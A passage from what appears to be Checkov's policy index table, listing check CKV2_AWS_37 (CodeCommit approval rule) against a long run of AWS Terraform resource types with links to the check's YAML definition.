[CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1070 | CKV2_AWS_37 | resource | aws_ec2_capacity_block_reservation | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1071 | CKV2_AWS_37 | resource | aws_ec2_capacity_reservation | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1072 | CKV2_AWS_37 | resource | aws_ec2_carrier_gateway | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1073 | CKV2_AWS_37 | resource | aws_ec2_client_vpn_authorization_rule | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1074 | CKV2_AWS_37 | resource | aws_ec2_client_vpn_endpoint | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1075 | CKV2_AWS_37 | resource | aws_ec2_client_vpn_network_association | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1076 | CKV2_AWS_37 | resource | aws_ec2_client_vpn_route | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1077 | CKV2_AWS_37 | resource | aws_ec2_fleet | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1078 | CKV2_AWS_37 | resource | aws_ec2_host | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1079 | CKV2_AWS_37 | resource | aws_ec2_image_block_public_access | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1080 | CKV2_AWS_37 | resource | aws_ec2_instance_connect_endpoint | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1081 | CKV2_AWS_37 | resource | aws_ec2_instance_metadata_defaults | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1082 | CKV2_AWS_37 | resource | aws_ec2_instance_state | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1083 | CKV2_AWS_37 | resource | aws_ec2_local_gateway_route | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1084 | CKV2_AWS_37 | resource | aws_ec2_local_gateway_route_table_vpc_association | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1085 | CKV2_AWS_37 | resource | aws_ec2_managed_prefix_list | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1086 | CKV2_AWS_37 | resource | aws_ec2_managed_prefix_list_entry | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1087 | CKV2_AWS_37 | resource | aws_ec2_network_insights_analysis | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1088 | CKV2_AWS_37 | resource | aws_ec2_network_insights_path | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1089 | CKV2_AWS_37 | resource | aws_ec2_serial_console_access | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1090 | CKV2_AWS_37 | resource | aws_ec2_subnet_cidr_reservation | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1091 | CKV2_AWS_37 | resource | aws_ec2_tag | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1092 | CKV2_AWS_37 | resource | aws_ec2_traffic_mirror_filter | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1093 | CKV2_AWS_37 | resource | aws_ec2_traffic_mirror_filter_rule | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1094 | CKV2_AWS_37 | resource | aws_ec2_traffic_mirror_session | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1095 | CKV2_AWS_37 | resource | aws_ec2_traffic_mirror_target | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1096 | CKV2_AWS_37 | resource | aws_ec2_transit_gateway | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1097 | CKV2_AWS_37 | resource | aws_ec2_transit_gateway_connect | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1098 | CKV2_AWS_37 | resource | aws_ec2_transit_gateway_connect_peer | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1099 | CKV2_AWS_37 | resource | aws_ec2_transit_gateway_default_route_table_association | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1100 | CKV2_AWS_37 | resource | aws_ec2_transit_gateway_default_route_table_propagation | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1101 | CKV2_AWS_37 | resource | aws_ec2_transit_gateway_multicast_domain | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1102 | CKV2_AWS_37 | resource | aws_ec2_transit_gateway_multicast_domain_association | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1103 | CKV2_AWS_37 | resource | aws_ec2_transit_gateway_multicast_group_member | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1104 | CKV2_AWS_37 | resource | aws_ec2_transit_gateway_multicast_group_source | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1105 | CKV2_AWS_37 | resource | aws_ec2_transit_gateway_peering_attachment | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1106 | CKV2_AWS_37 | resource | aws_ec2_transit_gateway_peering_attachment_accepter | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1107 | CKV2_AWS_37 | resource | aws_ec2_transit_gateway_policy_table | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1108 | CKV2_AWS_37 | resource | aws_ec2_transit_gateway_policy_table_association | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1109 | CKV2_AWS_37 | resource | aws_ec2_transit_gateway_prefix_list_reference | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1110 | CKV2_AWS_37 | resource | aws_ec2_transit_gateway_route | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1111 | CKV2_AWS_37 | resource | aws_ec2_transit_gateway_route_table | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1112 | CKV2_AWS_37 | resource | aws_ec2_transit_gateway_route_table_association | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1113 | CKV2_AWS_37 | resource | aws_ec2_transit_gateway_route_table_propagation | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1114 | CKV2_AWS_37 | resource | aws_ec2_transit_gateway_vpc_attachment | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1115 | CKV2_AWS_37 | resource | aws_ec2_transit_gateway_vpc_attachment_accepter | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1116 | CKV2_AWS_37 | resource | aws_ecr_account_setting | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1117 | CKV2_AWS_37 | resource | aws_ecr_lifecycle_policy | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1118 | CKV2_AWS_37 | resource | aws_ecr_pull_through_cache_rule | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1119 | CKV2_AWS_37 | resource | aws_ecr_registry_policy | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1120 | CKV2_AWS_37 | resource | aws_ecr_registry_scanning_configuration | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1121 | CKV2_AWS_37 | resource | aws_ecr_replication_configuration | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1122 | CKV2_AWS_37 | resource | aws_ecr_repository | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1123 | CKV2_AWS_37 | resource | aws_ecr_repository_creation_template | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1124 | CKV2_AWS_37 | resource | aws_ecr_repository_policy | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1125 | CKV2_AWS_37 | resource | aws_ecrpublic_repository | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1126 | CKV2_AWS_37 | resource | aws_ecrpublic_repository_policy | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1127 | CKV2_AWS_37 | resource | aws_ecs_account_setting_default | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1128 | CKV2_AWS_37 | resource | aws_ecs_capacity_provider | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1129 | CKV2_AWS_37 | resource | aws_ecs_cluster | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1130 | CKV2_AWS_37 | resource | aws_ecs_cluster_capacity_providers | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1131 | CKV2_AWS_37 | resource | aws_ecs_service | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1132 | CKV2_AWS_37 | resource | aws_ecs_tag | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1133 | CKV2_AWS_37 | resource | aws_ecs_task_definition | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1134 | CKV2_AWS_37 | resource | aws_ecs_task_set | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1135 | CKV2_AWS_37 | resource | aws_efs_access_point | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1136 | CKV2_AWS_37 | resource | aws_efs_backup_policy | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1137 | CKV2_AWS_37 | resource | aws_efs_file_system | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1138 | CKV2_AWS_37 | resource | aws_efs_file_system_policy | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1139 | CKV2_AWS_37 | resource | aws_efs_mount_target | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1140 | CKV2_AWS_37 | resource | aws_efs_replication_configuration | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1141 | CKV2_AWS_37 | resource | aws_egress_only_internet_gateway | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1142 | CKV2_AWS_37 | resource | aws_eip | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1143 | CKV2_AWS_37 | resource | aws_eip_association | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1144 | CKV2_AWS_37 | resource | aws_eip_domain_name | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1145 | CKV2_AWS_37 | resource | aws_eks_access_entry | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1146 | CKV2_AWS_37 | resource | aws_eks_access_policy_association | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1147 | CKV2_AWS_37 | resource | aws_eks_addon | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1148 | CKV2_AWS_37 | resource | aws_eks_cluster | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1149 | CKV2_AWS_37 | resource | aws_eks_fargate_profile | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1150 | CKV2_AWS_37 | resource | aws_eks_identity_provider_config | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1151 | CKV2_AWS_37 | resource | aws_eks_node_group | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1152 | CKV2_AWS_37 | resource | aws_eks_pod_identity_association | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1153 | CKV2_AWS_37 | resource | aws_elastic_beanstalk_application | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1154 | CKV2_AWS_37 | resource | aws_elastic_beanstalk_application_version | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1155 | CKV2_AWS_37 | resource | aws_elastic_beanstalk_configuration_template | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1156 | CKV2_AWS_37 | resource | aws_elastic_beanstalk_environment | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1157 | CKV2_AWS_37 | resource | aws_elasticache_cluster | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1158 | CKV2_AWS_37 | resource | aws_elasticache_global_replication_group | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1159 | CKV2_AWS_37 | resource | aws_elasticache_parameter_group | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1160 | CKV2_AWS_37 | resource | aws_elasticache_replication_group | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1161 | CKV2_AWS_37 | resource | aws_elasticache_reserved_cache_node | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1162 | CKV2_AWS_37 | resource | aws_elasticache_security_group | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1163 | CKV2_AWS_37 | resource | aws_elasticache_serverless_cache | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1164 | CKV2_AWS_37 | resource | aws_elasticache_subnet_group | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1165 | CKV2_AWS_37 | resource | aws_elasticache_user | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1166 | CKV2_AWS_37 | resource | aws_elasticache_user_group | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1167 | CKV2_AWS_37 | resource | aws_elasticache_user_group_association | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1168 | CKV2_AWS_37 | resource | aws_elasticsearch_domain | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1169 | CKV2_AWS_37 | resource | aws_elasticsearch_domain_policy | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1170 | CKV2_AWS_37 | resource | aws_elasticsearch_domain_saml_options | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1171 | CKV2_AWS_37 | resource | aws_elasticsearch_vpc_endpoint | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1172 | CKV2_AWS_37 | resource | aws_elastictranscoder_pipeline | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1173 | CKV2_AWS_37 | resource | 